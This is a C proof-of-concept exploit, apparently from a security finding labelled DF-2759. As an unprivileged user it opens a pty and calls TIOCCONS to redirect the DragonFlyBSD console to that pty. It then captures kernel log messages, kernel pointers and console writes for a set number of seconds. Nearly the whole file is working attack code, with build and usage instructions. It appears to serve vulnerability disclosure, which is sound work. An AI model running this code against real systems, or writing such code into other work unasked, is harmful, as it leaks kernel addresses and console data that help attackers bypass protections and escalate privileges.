DF-2759 / uconsole_grab.c
/* * DF-2759 — Unprivileged kernel-log/kernel-pointer disclosure via * UCONSOLE TIOCCONS + constty_daemon (DragonFlyBSD default X86_64_GENERIC). * * Run as an UNPRIVILEGED user. Steps: * 1. allocate a pty (master/slave) * 2. ioctl(slave, TIOCCONS, 1) -- no privilege required when the kernel * is built with `options UCONSOLE` (sys/config/X86_64_GENERIC:36) * -> kernel sets `constty = <this pty's tty>` (sys/kern/tty.c:977) * 3. read the master side: from now on every kprintf/log message is * duplicated to this pty (subr_prf.c constty_daemon), and every * write(2) to /dev/console is forwarded here (tty_cons.c cnwrite). * * Build: cc -O -o uconsole_grab uconsole_grab.c * Usage: ./uconsole_grab [seconds] */ #include <sys/types.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <time.h> #include <termios.h> #include <poll.h> #include <sys/ttycom.h> static double now(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return (ts.tv_sec + ts.tv_nsec / 1.0e9); } int main(int argc, char **argv) { int seconds = (argc > 1) ? atoi(argv[1]) : 8; int one = 1, mfd, sfd, i; char *slavepath; struct termios tio; struct pollfd pfd; char buf[4096]; double t0, deadline; mfd = posix_openpt(O_RDWR | O_NOCTTY); if (mfd < 0) { perror("posix_openpt"); exit(1); } if (grantpt(mfd) != 0) { perror("grantpt"); exit(1); } if (unlockpt(mfd) != 0) { perror("unlockpt"); exit(1); } slavepath = ptsname(mfd); if (slavepath == NULL) { perror("ptsname"); exit(1); } sfd = open(slavepath, O_RDWR | O_NOCTTY); if (sfd < 0) { perror("open slave"); exit(1); } /* raw mode so we see exactly what the kernel delivers */ if (tcgetattr(sfd, &tio) == 0) { cfmakeraw(&tio); tcsetattr(sfd, TCSANOW, &tio); } t0 = now(); fprintf(stderr, "[%.2f] uid=%d euid=%d pty=%s\n", 0.0, getuid(), geteuid(), slavepath); if (ioctl(sfd, TIOCCONS, &one) < 0) { fprintf(stderr, "[%.2f] TIOCCONS FAILED: %s " "(UCONSOLE gate not present in this kernel)\n", now() - t0, strerror(errno)); exit(2); } fprintf(stderr, "[%.2f] TIOCCONS: SUCCESS - constty now points at " "this UNPRIVILEGED pty\n", now() - t0); pfd.fd = mfd; pfd.events = POLLIN; deadline = now() + seconds; while (now() < deadline) { int r = poll(&pfd, 1, 200); if (r > 0 && (pfd.revents & POLLIN)) { ssize_t n = read(mfd, buf, sizeof(buf)); if (n <= 0) break; fprintf(stderr, "[%.2f] master received %zd bytes:\n", now() - t0, n); fwrite(buf, 1, n, stderr); fputc('\n', stderr); fflush(stderr); } } fprintf(stderr, "[%.2f] capture window over; exiting " "(close -> ttyclose -> constty=NULL)\n", now() - t0); for (i = 0; i < 3; i++) close(sfd); close(mfd); return (0); } |